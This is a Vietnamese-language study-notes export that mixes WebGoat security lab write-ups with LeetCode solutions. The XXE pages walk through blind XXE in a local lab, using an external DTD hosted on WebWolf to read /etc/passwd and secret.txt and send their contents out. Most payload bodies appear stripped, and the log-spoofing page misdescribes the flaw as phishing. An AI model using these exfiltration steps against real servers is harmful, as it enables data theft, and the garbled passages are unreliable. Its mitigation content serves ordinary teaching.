XmlMapper(module); xmlMapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); [/code] ### 3️⃣ Chỉ sử dụng JSON thay vì XML Nếu ứng dụng không thực sự cần XML, tốt nhất chỉ sử dụng JSON để tránh các lỗ hổng liên quan đến XML. [code json] { "message": "Hello, world!" } [/code] ## 5. Kết luận - XXE DoS Attack (Billion Laughs Attack) có thể làm server bị crash bằng cách mở rộng thực thể lặp vô hạn. - Thử nghiệm trên WebGoat bằng cách gửi một payload với nhiều ENTITY lồng nhau. - Phòng chống bằng cách: 1. Tắt ENTITY trong XML Parser. 2. Giới hạn số lần mở rộng thực thể. 3. Chuyển sang JSON thay vì XML nếu có thể. ============================================================================ # 1.10 | XXE URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-10 Source: docs/02-web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-10.md Description: Làm thế nào để kiểm tra xem XXE có thành công hay không? 👉 Gửi dữ liệu đến một server do kẻ tấn công kiểm soát. Tags: web-security, webgoat, security-misconfiguration, xxe, webgoat-2023.8 > Blind XXE Attack ## 1. Giới thiệu về Blind XXE Blind XXE (Blind XML External Entity Injection) là một biến thể của XXE nhưng không trả kết quả trực tiếp ra response của server. Điều này xảy ra khi: - Kết quả không được hiển thị trên trang web (do output bị ẩn). - Nội dung đọc được chứa ký tự XML không hợp lệ, khiến parser gặp lỗi. - Firewall hoặc cơ chế bảo vệ ngăn chặn phản hồi trực tiếp. 💡 Làm thế nào để kiểm tra xem XXE có thành công hay không? 👉 Gửi dữ liệu đến một server do kẻ tấn công kiểm soát. Ví dụ: - Gửi một request ping đến WebWolf. - Gửi nội dung file ra ngoài qua HTTP/DNS request. Toàn bộ quá trình out-of-band diễn ra như sau: [code mermaid] sequenceDiagram participant A as Attacker participant S as Server WebGoat participant W as WebWolf A->>S: Gửi XML có %remote trỏ tới attack.dtd S->>W: Tải attack.dtd từ xa W-->>S: DTD (đọc file + gửi ra ngoài) S->>S: Đọc file bí mật trên server S->>W: GET /landing?text=noi-dung-file A->>W: Xem Incoming requests W-->>A: Nội dung file bị rò rỉ [/code] ## 2. Cách thực hiện Blind XXE ### 1️⃣ Chuẩn bị máy chủ nhận dữ liệu Kẻ tấn công cần có một server để nhận dữ liệu, ví dụ: WebWolf. WebWolf là công cụ được tích hợp với WebGoat để thực hiện các bài tập tấn công. 👉 Truy cập WebWolf tại: [code] http://127.0.0.1:9090/WebWolf/home [/code] 🔥 Lưu ý: Nếu không dùng WebWolf, có thể thay thế bằng một server bất kỳ mà kẻ tấn công kiểm soát. ### 2️⃣ Tạo file DTD độc hại trên WebWolf Kẻ tấn công tạo file `attack.dtd` trên WebWolf với nội dung: [code xml] [/code] 🛠 Giải thích: - `ping` là một entity tham chiếu đến URL của WebWolf. - Nếu server mục tiêu xử lý DTD từ xa, nó sẽ gửi request đến WebWolf, xác nhận rằng XXE Injection hoạt động. ### 3️⃣ Gửi Payload Blind XXE Sau khi chuẩn bị xong `attack.dtd`, ta gửi XML sau đến server mục tiêu: [code xml] %remote; ]> test&ping; [/code] 🛠 Giải thích: - DTD từ xa (`attack.dtd`) được nạp vào server mục tiêu. - `&ping;` sẽ làm server gửi request đến WebWolf. 🔥 Kết quả mong đợi: - Nếu server dễ bị tấn công, nó sẽ gửi một request HTTP đến WebWolf. - WebWolf sẽ ghi lại request này trong Incoming Requests. ## 3. Kiểm tra trên WebWolf Mở WebWolf và truy cập Incoming Requests. Nếu XXE Injection thành công, ta sẽ thấy log: [code json] { "method" : "GET", "path" : "/landing", "headers" : { "request" : { "user-agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" } }, "parameters" : { "test" : [ "HelloWorld" ] }, "timeTaken" : "1" } [/code] 📌 Kết quả này cho thấy server đã gửi request đến WebWolf, xác nhận rằng XXE Injection có thể thực hiện được. ## 4. Ứng dụng Blind XXE để đánh cắp dữ liệu Sau khi xác nhận Blind XXE hoạt động, kẻ tấn công có thể: 1. Đọc file quan trọng trên server (VD: `/etc/passwd`). 2. Gửi nội dung file ra ngoài qua HTTP/DNS request. 🔥 Ví dụ: Đọc file `/etc/passwd` và gửi nội dung đến WebWolf 1️⃣ Cập nhật file `attack.dtd` trên WebWolf: [code xml] "> %eval; [/code] 2️⃣ Gửi XML payload đến server mục tiêu: [code xml] %remote; ]> &exfiltrate; [/code] 📌 Kết quả mong đợi: - Server đọc nội dung `/etc/passwd`. - Gửi dữ liệu này đến WebWolf thông qua request HTTP. - Kẻ tấn công có thể xem dữ liệu trong WebWolf logs. ## 5. Cách phòng chống Blind XXE ### 1️⃣ Tắt xử lý DOCTYPE và ENTITY trong XML Parser Trong Java: [code java] DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); DocumentBuilder builder = factory.newDocumentBuilder(); [/code] ### 2️⃣ Giới hạn quyền truy cập mạng từ XML Parser Nếu ứng dụng có quyền hạn chế, có thể chặn outbound HTTP requests để ngăn dữ liệu bị gửi ra ngoài. Ví dụ trong Docker hoặc Kubernetes, có thể cấu hình firewall: [code bash] iptables -A OUTPUT -p tcp --dport 9090 -j DROP [/code] ### 3️⃣ Sử dụng JSON thay vì XML Nếu ứng dụng không cần XML, hãy dùng JSON để tránh lỗ hổng XXE: [code json] { "message": "Hello, world!" } [/code] ### 4️⃣ Kiểm tra log HTTP để phát hiện XXE bất thường Nếu có request đáng ngờ từ hệ thống gửi đến server không xác định, có thể kiểm tra log HTTP request để phát hiện dấu hiệu của XXE. ## 6. Kết luận - Blind XXE không hiển thị kết quả trực tiếp nhưng vẫn có thể gửi dữ liệu ra ngoài. - Cách kiểm tra Blind XXE: 1. Sử dụng WebWolf để nhận request. 2. Gửi dữ liệu ra ngoài qua HTTP/DNS request. - Kẻ tấn công có thể đánh cắp dữ liệu bí mật như `/etc/passwd`. - Cách phòng chống: 1. Vô hiệu hóa ENTITY trong XML Parser. 2. Chặn HTTP request không mong muốn. 3. Sử dụng JSON thay cho XML. ============================================================================ # 1.11 | XXE URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-11 Source: docs/02-web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-11.md Description: Đây là bài tập Blind XXE nâng cao, yêu cầu bạn tạo một file DTD để tải nội dung của tệp secret.txt từ server WebGoat lên WebWolf. Dưới đây là hướng dẫn chi. Tags: web-security, webgoat, security-misconfiguration, xxe, webgoat-2023.8 Đây là bài tập Blind XXE nâng cao, yêu cầu bạn tạo một file DTD để tải nội dung của tệp `secret.txt` từ server WebGoat lên WebWolf. Dưới đây là hướng dẫn chi tiết để thực hiện bài này. ### 1. Tạo DTD để đọc file và gửi đến WebWolf Bạn cần tạo một file `attack.dtd` và tải nó lên WebWolf. File này sẽ chứa đoạn mã sau: [code xml] "> %send; [/code] Giải thích: - `%file`: Truy cập nội dung của file `secret.txt` trên máy WebGoat. - `%send`: Gửi nội dung của file `secret.txt` đến endpoint của WebWolf qua HTTP GET. ### 2. Upload `attack.dtd` lên WebWolf - Truy cập WebWolf tại `http://127.0.0.1:9090/WebWolf/home`. - Trong phần upload, chọn `attack.dtd` để tải lên. - Khi tải lên thành công, WebWolf sẽ hiển thị một đường link trỏ đến file này, ví dụ: [code] http://127.0.0.1:9090/WebWolf/files/username/attack.dtd [/code] ### 3. Gửi XXE Payload trong WebGoat Khi gửi request chứa XML, bạn cần sử dụng `attack.dtd` bằng cách chèn vào request như sau: [code xml] %external; ]> test &send; [/code] Giải thích: - `%external;`: Load file `attack.dtd` từ WebWolf. - `&send;`: Kích hoạt gửi nội dung file `secret.txt` đến WebWolf. ### 4. Kiểm tra kết quả trên WebWolf - Truy cập WebWolf > Incoming requests. - Nếu thành công, bạn sẽ thấy một request chứa nội dung file `secret.txt` trong tham số `text`. ### 5. Gửi nội dung file để hoàn thành bài tập - Copy nội dung `secret.txt` mà bạn nhận được từ WebWolf. - Quay lại WebGoat, post một comment chứa nội dung này để hoàn thành bài tập. ### 📌 Tóm tắt ✔ Tạo file `attack.dtd` để đọc file và gửi đến WebWolf. ✔ Upload `attack.dtd` lên WebWolf. ✔ Gửi XML request đến WebGoat để kích hoạt XXE. ✔ Xem nội dung file `secret.txt` trong WebWolf. ✔ Post nội dung để hoàn thành bài tập. Nếu có lỗi hoặc không thấy nội dung file, kiểm tra lại: - Đường dẫn file `secret.txt` có chính xác không. - WebWolf có nhận được request không (kiểm tra log). - Có chặn firewall nào ngăn chặn request ra ngoài không. ============================================================================ # 1.12 | XXE URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-12 Source: docs/02-web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-12.md Description: Nếu ứng dụng không bắt buộc dùng XML, hãy cân nhắc sử dụng JSON, vì JSON không hỗ trợ các thực thể XML (), giảm thiểu rủi ro XXE. Tags: web-security, webgoat, security-misconfiguration, xxe, webgoat-2023.8 > 🛡 XXE Mitigation - Cách Phòng Chống XXE Các lớp phòng chống XXE theo thứ tự ưu tiên: bỏ XML nếu được, nếu không thì khoá chặt parser. [code mermaid] flowchart TD A["Ứng dụng xử lý XML đầu vào"] --> B{"Có bắt buộc dùng XML?"} B -->|"Không"| J["Dùng JSON thay XML"] B -->|"Có"| C["Tắt DTD: SUPPORT_DTD = false"] C --> D["Tắt external entities: IS_SUPPORTING_EXTERNAL_ENTITIES = false"] D --> E["Kiểm tra Content-Type và xác thực đầu vào"] E --> F["Dùng thư viện XML an toàn"] [/code] ## 1️⃣ Kiểm soát và xác thực đầu vào - Chỉ chấp nhận dữ liệu XML từ nguồn tin cậy. - Kiểm tra nội dung XML trước khi xử lý. - Không cho phép người dùng nhập trực tiếp XML. ## 2️⃣ Cấu hình XML Parser để vô hiệu hóa DTD và External Entities Trong Java, bạn có thể tắt DTD bằng cách: [code java] XMLInputFactory xif = XMLInputFactory.newFactory(); xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); // Tắt hỗ trợ DTD [/code] Nếu không thể vô hiệu hóa hoàn toàn DTD, hãy chặn external entities: [code java] XMLInputFactory xif = XMLInputFactory.newFactory(); xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); // Chặn external entities xif.setProperty(XMLInputFactory.SUPPORT_DTD, true); // Chỉ cho phép DTD nội bộ [/code] Lưu ý: Các thư viện XML khác nhau sẽ có cách cấu hình khác nhau. Hãy kiểm tra theo thư viện bạn đang dùng. ## 3️⃣ Kiểm tra Content-Type và Accept Header - Chỉ chấp nhận request có Content-Type hợp lệ. - Nếu client gửi Accept Header không phù hợp, trả về HTTP `406 Not Acceptable`. Ví dụ trong Spring Boot (Java): [code java] @RequestMapping(value = "/upload", method = RequestMethod.POST, consumes = "application/xml") public ResponseEntity uploadFile(@RequestBody String xmlData) { return new ResponseEntity<>("Received", HttpStatus.OK); } [/code] 🔹 Chặn nếu Content-Type không phải XML. ## 4️⃣ Sử dụng thư viện chống XXE Một số thư viện hỗ trợ bảo vệ khỏi XXE: - OWASP Java XML Parser - Jackson for XML (không dùng DOM hoặc SAX trực tiếp) - DefusedXml (Python) - SafeXmlParser (.NET) ## 5️⃣ Dùng JSON thay vì XML nếu có thể Nếu ứng dụng không bắt buộc dùng XML, hãy cân nhắc sử dụng JSON, vì JSON không hỗ trợ các thực thể XML (``), giảm thiểu rủi ro XXE. ## 🔒 Tổng kết ✔ Kiểm tra và xác thực dữ liệu đầu vào ✔ Vô hiệu hóa DTD và External Entities trong parser ✔ Kiểm tra Content-Type và Accept Header ✔ Sử dụng thư viện XML an toàn ✔ Ưu tiên JSON thay vì XML nếu có thể Bằng cách áp dụng các biện pháp trên, bạn có thể giảm thiểu nguy cơ bị tấn công XXE! 🚀 ============================================================================ # 1.13 | XXE URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-13 Source: docs/02-web-security/webgoat-2023.8/A5-Security-Misconfiguration/XXE-13.md Description: Phân tích mã tĩnh (Static Code Analysis) giúp tìm kiếm lỗ hổng bảo mật trong code mà không cần chạy ứng dụng. Công cụ phổ biến nhất để phân tích mã tĩnh là. Tags: web-security, webgoat, security-misconfiguration, xxe, webgoat-2023.8 > 🕵️ Phát hiện lỗ hổng XXE bằng phân tích mã tĩnh (Static Code Analysis) ## 🔍 1. Static Code Analysis là gì? Phân tích mã tĩnh (Static Code Analysis) giúp tìm kiếm lỗ hổng bảo mật trong code mà không cần chạy ứng dụng. Công cụ phổ biến nhất để phân tích mã tĩnh là SonarQube. ## ⚡ 2. Phát hiện XXE bằng SonarQube Khi quét mã nguồn WebGoat, SonarQube sẽ phát hiện các vấn đề bảo mật, bao gồm lỗ hổng XXE (XML External Entity). 👀 Cách thực hiện quét với SonarQube: 1️⃣ Cài đặt SonarQube (nếu chưa có): - Chạy SonarQube Server (`docker run -d -p 9000:9000 sonarqube`) - Cài SonarScanner (`brew install sonar-scanner` hoặc tải từ SonarQube Scanner (https://docs.sonarqube.org/latest/analysis/scan/sonarscanner/)) 2️⃣ Chạy quét mã nguồn WebGoat: [code sh] sonar-scanner \ -Dsonar.projectKey=WebGoat \ -Dsonar.sources=./WebGoat \ -Dsonar.host.url=http://localhost:9000 \ -Dsonar.login=your_token [/code] 3️⃣ Xem báo cáo trên giao diện SonarQube ## 🎯 3. Xác định lỗ hổng XXE - SonarQube báo lỗi XXE trong `Comments` class - Xác minh lỗi: Đây có phải true positive hay false positive? - Trong WebGoat, lỗi này cố tình được đưa vào để thực hành bảo mật, nên đây là true positive. ## 🔧 4. Cách khắc phục lỗ hổng XXE SonarQube sẽ đề xuất cách sửa lỗi, thường là: - Tắt DTD và External Entities trong XML parser - Sử dụng thư viện an toàn Ví dụ: Trong Java, sửa lỗi bằng cách: [code java] XMLInputFactory xif = XMLInputFactory.newFactory(); xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); [/code] ## ✅ 5. Kiểm tra lại sau khi sửa lỗi Sau khi áp dụng bản vá, quét lại với SonarQube: [code sh] sonar-scanner [/code] Nếu lỗi biến mất hoặc được đánh dấu mitigated, nghĩa là bạn đã sửa lỗi thành công! 🚀 ============================================================================ # Command Injection URL: https://tiennhm.io.vn/docs/web-security/webgoat-7/injection-flaws/command-injection Source: docs/02-web-security/webgoat-7/injection-flaws/01.command-injection.md Description: Giới thiệu về lỗ hổng Command Injection trong bảo mật ứng dụng web. Tags: web-security, webgoat-7, injection-flaws, command-injection # Command Injection Trong bài viết này, mình sẽ giới thiệu về lỗ hổng Command Injection. Đây là một lỗ hổng rất nguy hiểm, nó cho phép attacker thực thi các lệnh trên server. ## Giới thiệu Command Injection là một lỗ hổng cho phép attacker thực thi các lệnh trên server. Lỗ hổng này xảy ra khi ứng dụng web không kiểm tra các input của người dùng và thực thi các lệnh trên server. ## Cách khai thác Để khai thác lỗ hổng này, attacker sẽ thực thi các lệnh trên server thông qua các input của người dùng. Các lệnh này sẽ được thực thi bởi ứng dụng web. ## Cách phòng chống Để phòng chống lỗ hổng này, ứng dụng web cần kiểm tra các input của người dùng và không thực thi các lệnh trên server. ## Tổng kết Trong bài viết này, mình đã giới thiệu về lỗ hổng Command Injection. Hy vọng bài viết này sẽ giúp ích cho các bạn. Tip: Để xem thêm các video khác, các bạn có thể truy cập vào kênh Youtube (https://www.youtube.com/TienNguyen09) của mình. ============================================================================ # Numeric SQL Injection URL: https://tiennhm.io.vn/docs/web-security/webgoat-7/injection-flaws/numeric-sql-injection Source: docs/02-web-security/webgoat-7/injection-flaws/02.numeric-sql-injection.md Description: Giới thiệu về lỗ hổng Numeric SQL Injection trong bảo mật ứng dụng web. Tags: web-security, webgoat-7, injection-flaws, sql-injection # Numeric SQL Injection Trong bài viết này, mình sẽ giới thiệu về lỗ hổng Numeric SQL Injection. Đây là một lỗ hổng rất nguy hiểm, nó cho phép attacker thực thi các lệnh SQL trên server. ## Giới thiệu Numeric SQL Injection là một lỗ hổng cho phép attacker thực thi các lệnh SQL trên server. Lỗ hổng này xảy ra khi ứng dụng web không kiểm tra các input của người dùng và thực thi các lệnh SQL trên server. ## Cách khai thác Để khai thác lỗ hổng này, attacker sẽ thực thi các lệnh SQL trên server thông qua các input của người dùng. Các lệnh này sẽ được thực thi bởi ứng dụng web. ## Cách phòng chống Để phòng chống lỗ hổng này, ứng dụng web cần kiểm tra các input của người dùng và không thực thi các lệnh SQL trên server. ## Tổng kết Trong bài viết này, mình đã giới thiệu về lỗ hổng Numeric SQL Injection. Hy vọng bài viết này sẽ giúp ích cho các bạn. Tip: Để xem thêm các video khác, các bạn có thể truy cập vào kênh Youtube (https://www.youtube.com/TienNguyen09) của mình. ============================================================================ # Log Spoofing URL: https://tiennhm.io.vn/docs/web-security/webgoat-7/injection-flaws/log-spoofing Source: docs/02-web-security/webgoat-7/injection-flaws/03.log-spoofing.md Description: Giới thiệu về lỗ hổng Log Spoofing trong bảo mật ứng dụng web. Tags: web-security, webgoat-7, injection-flaws, sql-injection # Log Spoofing Trong bài viết này, mình sẽ giới thiệu về lỗ hổng Log Spoofing. Đây là một lỗ hổng rất nguy hiểm, nó cho phép attacker thực thi các lệnh trên server. ## Giới thiệu Log Spoofing là một hình thức lừa đảo mà kẻ tấn công giả mạo các nguồn đáng tin cậy, có thể gây ra nhiều rủi ro cho người dùng như bị đánh cắp tài khoản, bị cài đặt phần mềm độc hại hoặc bị lừa tiền. ## Cách khai thác Để khai thác lỗ hổng này, attacker gửi các thông tin giả mạo các nguồn đáng tin cậy như địa chỉ email, tên, số điện thoại, SMS hoặc URL trang web để lấy thông tin cá nhân của người dùng. Log Spoofing có nhiều loại, bao gồm giả mạo email, giả mạo tin nhắn, giả mạo ID người gọi, giả mạo URL và giả mạo GPS. ## Cách phòng chống Cách phòng chống Log Spoofing là một vấn đề quan trọng để bảo vệ thông tin cá nhân và an ninh mạng. Một số cách phòng chống Log Spoofing có thể là: - Bật chế độ lọc thư rác trong Email để ngăn chặn các Email Spoofing truy cập vào hộp thư đến. - Không nhấp vào các link hoặc tệp đính kèm yêu trong Email, SMS hoặc cuộc gọi đáng ngờ. - Không cung cấp thông tin cá nhân cho bất kỳ cuộc điều tra tìm kiếm cá nhân đáng ngờ nào. - Thay đổi cài đặt trong Windows bằng cách nhấp vào tab “View” trong File Explorer vào chọn hộp để hiển thị phần mở rộng tệp. Sau đó người dùng có thể xem bất kỳ tiện ích mở rộng Spoofing nào và tránh mở các tệp độc hại. - Sử dụng các phần mềm an ninh mạng uy tín có khả năng phát hiện và cảnh báo các mối đe dọa tiềm ẩn. Ngăn chặn tải xuống và ngăn phần mềm độc hại xâm nhập vào hệ thống. - Cập nhật lên phiên bản Log4j 2.17.1 để khắc phục lỗ hổng CVE-2021-44228. ## Tổng kết Trong bài viết này, mình đã giới thiệu về lỗ hổng Log Spoofing. Hy vọng bài viết này sẽ giúp ích cho các bạn. Tip: Để xem thêm các video khác, các bạn có thể truy cập vào kênh Youtube (https://www.youtube.com/TienNguyen09) của mình. ============================================================================ # 141. Linked List Cycle URL: https://tiennhm.io.vn/docs/leetcode/algorithm/141-linked-list-cycle Source: docs/04-leetcode/algorithm/141. Linked List Cycle.mdx Description: Given `head`, the head of a linked list, determine if the linked list has a cycle in it. Tags: leetcode, algorithm # 141. Linked List Cycle ## Giới thiệu bài toán Chi tiết: https://leetcode.com/problems/linked-list-cycle/ Tip: Yêu cầu Given `head`, the head of a linked list, determine if the linked list has a cycle in it. There is a cycle in a linked list if there is some node in the list that can be reached again by continuously following the next pointer. Internally, `pos` is used to denote the index of the node that tail's next pointer is connected to. Note that `pos` is not passed as a parameter. Return `true` if there is a cycle in the linked list. Otherwise, return `false`. Example 1: - Input: `head` = [3,2,0,-4], `pos` = 1 - Output: `true` - Explanation: There is a cycle in the linked list, where the tail connects to the 1st node (0-indexed). [code mermaid] graph LR; 3 --> 2; 2 --> 0; 0 --> -4; -4 --> 2; [/code] Example 2: - Input: `head` = [1,2], `pos` = 0 - Output: `true` - Explanation: There is a cycle in the linked list, where the tail connects to the 0th node. [code mermaid] graph LR; 1 --> 2; 2 --> 1; [/code] Example 3: - Input: `head` = [1], `pos` = -1 - Output: `false` - Explanation: There is no cycle in the linked list. [code mermaid] graph LR; 1 [/code] Constraints: - The number of the nodes in the list is in the range `[0, 104]`. - `-105 <= Node.val <= 105` - `pos` is `-1` or a valid index in the linked-list. Follow up: Can you solve it using `O(1)` (i.e. constant) memory? ## Giải quyết bài toán Tham khảo: - C# (https://leetcode.com/submissions/detail/1040119073/) - TypeScript (https://leetcode.com/submissions/detail/1040132046/) ============================================================================ # 136. Single Number URL: https://tiennhm.io.vn/docs/leetcode/bit-manipulation/136-single-number Source: docs/04-leetcode/bit-manipulation/136. Single Number.mdx Description: Given a non-empty array of integers `nums`, every element appears twice except for one. Find that single one. Tags: leetcode, bit-manipulation # 136. Single Number ## Giới thiệu bài toán Chi tiết: https://leetcode.com/problems/single-number/ Tip: Yêu cầu Given a non-empty array of integers `nums`, every element appears twice except for one. Find that single one. You must implement a solution with a linear runtime complexity and use only constant extra space. Example 1: - Input: `nums` = [2,2,1] - Output: 1 Example 2: - Input: `nums` = [4,1,2,1,2] - Output: 4 Example 3: - Input: `nums` = [1] - Output: 1 Constraints: - `1 <= nums.length <= 3 * 10^4` - `3 * 104 <= nums[i] <= 3 * 10^4` - Each element in the array appears twice except for one element which appears only once. ## Giải quyết bài toán Tham khảo: - C# (https://leetcode.com/submissions/detail/1040259402/) - TypeScript (https://leetcode.com/submissions/detail/1040263083/) ============================================================================ # 191. Number of 1 Bits URL: https://tiennhm.io.vn/docs/leetcode/bit-manipulation/191-number-of-1-bits Source: docs/04-leetcode/bit-manipulation/191. Number of 1 Bits.mdx Description: Write a function that takes the binary representation of an unsigned integer and returns the number of `1` bits it has (also known as the Hamming weight). Tags: leetcode, bit-manipulation # 191. Number of 1 Bits ## Giới thiệu bài toán Chi tiết: https://leetcode.com/problems/number-of-1-bits/ Tip: Yêu cầu Write a function that takes the binary representation of an unsigned integer and returns the number of `1` bits it has (also known as the Hamming weight). Note: : - Note that in some languages, such as Java, there is no unsigned integer type. In this case, the input will be given as a signed integer type. It should not affect your implementation, as the integer's internal binary representation is the same, whether it is signed or unsigned. - In Java, the compiler represents the signed integers using 2's complement notation. Therefore, in Example 3, the input represents the signed integer. -3. Example 1: - Input: `n = 00000000000000000000000000001011` - Output: 3 - Explanation: The input binary string `00000000000000000000000000001011` has a total of three '1' bits. Example 2: - Input: `n = 00000000000000000000000010000000` - Output: 1 - Explanation: The input binary string `00000000000000000000000010000000` has a total of one '1' bit. Example 3: - Input: `n = 11111111111111111111111111111101` - Output: 31 - Explanation: The input binary string `11111111111111111111111111111101` has a total of thirty one '1' bits. Constraints: - The input must be a binary string of length 32. Follow up: If this function is called many times, how would you optimize it? ## Giải quyết bài toán Tham khảo: - C# (https://leetcode.com/submissions/detail/1040273349/) - TypeScript (https://leetcode.com/submissions/detail/1040275362/) ## Bài liên quan - Biểu diễn số nguyên dương trong các hệ số — Biểu diễn số nguyên dương trong hệ thập phân, hệ nhị phân và hệ thập lục phân - Lý thuyết hệ thống số trong máy tính — Lý thuyết hệ thống số trong máy tính: hệ nhị phân, hệ thập phân, hệ bát phân, hệ thập lục phân. ============================================================================ # 338. Counting Bits URL: https://tiennhm.io.vn/docs/leetcode/bit-manipulation/338-counting-bits Source: docs/04-leetcode/bit-manipulation/338. Counting Bits.mdx Description: Given an integer `n`, return an array `ans` of length `n + 1` such that for each `i` (0 <= i <= n), `ans[i]` is the number of 1's in the binary representation of `i`. Tags: leetcode, bit-manipulation # 338. Counting Bits ## Giới thiệu bài toán Chi tiết: https://leetcode.com/problems/counting-bits/ Tip: Yêu cầu Given an integer `n`, return an array `ans` of length `n + 1` such that for each `i (0 <= i <= n)`, `ans[i]` is the number of 1's in the binary representation of `i`. Example 1: - Input: n = 2 - Output: [0,1,1] - Explanation: [code log] 0 --> 0 1 --> 1 2 --> 10 [/code] Example 2: - Input: n = 5 - Output: [0,1,1,2,1,2] - Explanation: [code log] 0 --> 0 1 --> 1 2 --> 10 3 --> 11 4 --> 100 5 --> 101 [/code] Constraints: > `0 <= n <= 105` Follow up: - It is very easy to come up with a solution with a runtime of `O(n log n)`. Can you do it in linear time `O(n)` and possibly in a single pass? - Can you do it without using any built-in function (i.e., like `__builtin_popcount` in C++)? ## Giải quyết bài toán Tham khảo: - C# (https://leetcode.com/submissions/detail/1039509439/) - Python (https://leetcode.com/submissions/detail/1039538497/) - JavaScript (https://leetcode.com/submissions/detail/1039545417/) - TypeScript (https://leetcode.com/submissions/detail/1039547895/) ============================================================================ # 175. Combine Two Tables URL: https://tiennhm.io.vn/docs/leetcode/database/175-combine-two-tables Source: docs/04-leetcode/database/175. Combine Two Tables.mdx Description: Write a solution to report the first name, last name, city, and state of each person in the `Person` table. If the address of a `personId` is not present in the `Address` table, report null instead. Tags: leetcode, database # 175. Combine Two Tables ## Giới thiệu bài toán Chi tiết: https://leetcode.com/problems/combine-two-tables Table: `Person` | Column Name | Type | | ----------- | ------- | | personId | int | | lastName | varchar | | firstName | varchar | - `personId` is the primary key (column with unique values) for this table. - This table contains information about the ID of some persons and their first and last names. Table: `Address` | Column Name | Type | | ----------- | ------- | | addressId | int | | personId | int | | city | varchar | | state | varchar | - `addressId` is the primary key (column with unique values) for this table. - Each row of this table contains information about the city and state of one person with ID = PersonId. Tip: Yêu cầu Write a solution to report the first name, last name, city, and state of each person in the `Person` table. If the address of a `personId` is not present in the `Address` table, report null instead. Return the result table in any order. The result format is in the following example. Example: 1: - Input: `Person` table: | personId | lastName | firstName | | -------- | -------- | --------- | | 1 | Wang | Allen | | 2 | Alice | Bob | `Address` table: | addressId | personId | city | state | | --------- | -------- | ------------- | ---------- | | 1 | 2 | New York City | New York | | 2 | 3 | Leetcode | California | - Output: | firstName | lastName | city | state | | --------- | -------- | ------------- | -------- | | Allen | Wang | Null | Null | | Bob | Alice | New York City | New York | - Explanation: There is no address in the address table for the personId = 1 so we return null in their city and state. addressId = 1 contains information about the address of personId = 2. ## Giải quyết bài toán [code sql] SELECT p.firstName, p.lastName, a.city, a.state FROM Person p LEFT JOIN Address a ON p.personId = a.personId; [/code] Tham khảo: https://leetcode.com/submissions/detail/1039116460/ ============================================================================ # 176. Second Highest Salary URL: https://tiennhm.io.vn/docs/leetcode/database/176-second-highest-salary Source: docs/04-leetcode/database/176. Second Highest Salary.mdx Description: Write a solution to find the second highest salary from the `Employee` table. If there is no second highest salary, return `null` (return `None` in Pandas). Tags: leetcode, database # 176. Second Highest Salary ## Giới thiệu bài toán Chi tiết: https://leetcode.com/problems/second-highest-salary/ Table: `Employee` | Column Name | Type | | ----------- | ---- | | id | int | | salary | int | - `id` is the primary key (column with unique values) for this table. - Each row of this table contains information about the salary of an employee. Tip: Yêu cầu Write a solution to find the second highest salary from the `Employee` table. If there is no second highest salary, return `null` (return `None` in Pandas). The result format is in the following example. Example 1: - Input: `Employee` table: | id | salary | | -- | ------ | | 1 | 100 | | 2 | 200 | | 3 | 300 | - Output: | SecondHighestSalary | | ------------------- | | 200 | Example 2: - Input: `Employee` table: | id | salary | | -- | ------ | | 1 | 100 | - Output: | SecondHighestSalary | | ------------------- | | null | ## Giải quyết bài toán [code sql] SELECT ( SELECT DISTINCT(salary) FROM Employee ORDER BY salary DESC LIMIT 1 OFFSET 1 ) AS SecondHighestSalary; [/code] Tham khảo: https://leetcode.com/submissions/detail/1038480623/ ============================================================================ # 177. Nth Highest Salary URL: https://tiennhm.io.vn/docs/leetcode/database/177-nth-highest-salary Source: docs/04-leetcode/database/177. Nth Highest Salary.mdx Description: Write a solution to find the nth highest salary from the `Employee` table. If there is no nth highest salary, return `null`. Tags: leetcode, database # 177. Nth Highest Salary ## Giới thiệu bài toán Chi tiết: https://leetcode.com/problems/nth-highest-salary/ Table: `Employee` | Column Name | Type | | ----------- | ---- | | id | int | | salary | int | - `id` is the primary key (column with unique values) for this table. - Each row of this table contains information about the salary of an employee. Tip: Yêu cầu Write a solution to find the nth highest salary from the `Employee` table. If there is no nth highest salary, return `null`. The result format is in the following example. Example 1: - Input: `Employee` table: | id | salary | | -- | ------ | | 1 | 100 | | 2 | 200 | | 3 | 300 | n = 2 - Output: | getNthHighestSalary(2) | | ---------------------- | | 200 | Example 2: - Input: `Employee` table: | id | salary | | -- | ------ | | 1 | 100 | n = 2 - Output: | getNthHighestSalary(2) | | ---------------------- | | null | ## Giải quyết bài toán [code sql] CREATE FUNCTION getNthHighestSalary(N INT) RETURNS INT BEGIN DECLARE offset INT; SET offset = N - 1; RETURN ( SELECT DISTINCT(salary) FROM Employee ORDER BY salary DESC LIMIT 1 OFFSET offset ); END [/code] Tham khảo: https://leetcode.com/submissions/detail/1038477455/ ============================================================================ # 178. Rank Scores URL: https://tiennhm.io.vn/docs/leetcode/database/178-rank-scores Source: docs/04-leetcode/database/178. Rank Scores.mdx Description: Write a solution to find the rank of the scores. Tags: leetcode, database # 178. Rank Scores ## Giới thiệu bài toán Chi tiết: https://leetcode.com/problems/rank-scores/ Table: `Scores` | Column Name | Type | | ----------- | ------- | | id | int | | score | decimal | - `id` is the primary key (column with unique values) for this table. - Each row of this table contains the score of a game. Score is a floating point value with two decimal places. Tip: Yêu cầu Write a solution to find the rank 